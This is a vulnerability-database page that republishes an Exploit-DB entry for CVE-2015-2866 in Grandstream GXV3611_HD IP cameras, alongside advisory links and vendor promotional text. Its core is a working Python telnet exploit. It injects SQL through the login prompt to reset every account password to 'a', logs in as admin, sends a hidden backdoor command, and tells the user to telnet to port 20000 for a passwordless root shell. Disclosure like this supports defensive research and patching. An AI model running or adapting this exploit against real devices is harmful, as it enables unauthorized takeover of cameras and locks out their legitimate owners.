Lucene search
K

Grandsteam GXV3611_HD - SQL Injection

🗓️ 29 Sep 2016 00:00:00Reported by pizza1337Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

Grandstream GXV3611_HD Telnet SQL Injection and backdoor command. Remote unauthorized access to telnet serve

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Grandstream GXV3611_HD Camera SQL Injection Vulnerability
10 Jul 201500:00
cnvd
CVE
CVE-2015-2866
8 Jul 201514:00
cve
Cvelist
CVE-2015-2866
8 Jul 201514:00
cvelist
EUVD
EUVD-2015-2954
7 Oct 202500:30
euvd
exploitpack
Grandsteam GXV3611_HD - SQL Injection
29 Sep 201600:00
exploitpack
NVD
CVE-2015-2866
8 Jul 201514:59
nvd
Prion
Sql injection
8 Jul 201514:59
prion
CERT
Grandsteam GXV3611_HD camera is vulnerable to SQL injection
7 Jul 201500:00
cert
# Exploit Title: Grandstream GXV3611_HD Telnet SQL Injection and backdoor command
# Exploit Author: pizza1337
# Vendor Homepage: http://www.grandstream.com/
# Version: GXV3611_HD Core 1.0.3.6, 1.0.4.3
# GXV3611IR_HD Core 1.0.3.5
# Tested on:
# -GXV3611_HD
#  Bootloader Version: 	1.0.0.0
#  Core Version: 	1.0.4.3
#  Base Version: 	1.0.4.43
#  Firmware Version: 	1.0.4.43
# -GXV3611IR_HD
#  Bootloader Version:  1.0.3.5
#  Core Version:        1.0.3.5
#  Base Version:        1.0.3.5
#  Firmware Version:    1.0.3.5
# CVE : CVE-2015-2866
# Category: remote
# More information:
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2866
# https://www.kb.cert.org/vuls/id/253708
# Description:
# http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html
import telnetlib
import sys

if len(sys.argv) < 2:
    print "USAGE: python %s IP_ADDRESS"%sys.argv[0]
    quit()

conn = telnetlib.Telnet(sys.argv[1])
conn.read_until("Username: ")
conn.write("';update user set password='a';--\r\n") #This changes all the passwords to a, including the admin password
conn.read_until("Password: ")
conn.write("nothing\r\n")
conn.read_until("Username: ")
conn.write("admin\r\n")
conn.read_until("Password: ")
conn.write("a\r\n") #Login with the new password
conn.read_until("> ")
conn.write("!#/ port lol\r\n") #Backdoor command triggers telnet server to startup. For some reason, typing "!#/ port" does not seem to work.
conn.read_until("> ")
conn.write("quit\r\n")
conn.close()
print "Telnet into port 20000 with username root and no password to get shell" #There is no login password

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2016 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 27.5
EPSS0.03623
44